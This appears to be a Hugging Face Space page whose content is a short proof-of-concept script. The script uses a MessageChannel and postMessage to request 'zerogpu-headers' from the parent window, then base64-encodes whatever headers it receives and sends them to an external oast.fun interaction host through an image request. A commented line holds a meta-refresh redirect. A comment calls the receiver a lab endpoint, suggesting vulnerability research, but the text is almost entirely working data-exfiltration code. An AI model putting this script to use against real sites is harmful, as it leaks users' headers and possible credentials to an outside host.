Spaces:
Running
Running
| <script> | |
| //<img><meta http-equiv="refresh" content="0;url=http://localhost/"> | |
| const channel = new MessageChannel(); | |
| channel.port1.onmessage = e => { | |
| const data = e.data; | |
| console.log("Leaked Headers via postMessage:"); | |
| console.table(data); | |
| // Encode the data as base64 | |
| const encoded = btoa(JSON.stringify(data)); | |
| // Send via GET request to your lab endpoint | |
| const img = new Image(); | |
| img.src = `https://bwjcdbkeriyfukekpyrgpbl0oyei87cm2.oast.fun/poc?data=${encoded}`; | |
| }; | |
| window.parent.postMessage("zerogpu-headers", "*", [channel.port2]); | |
| </script> |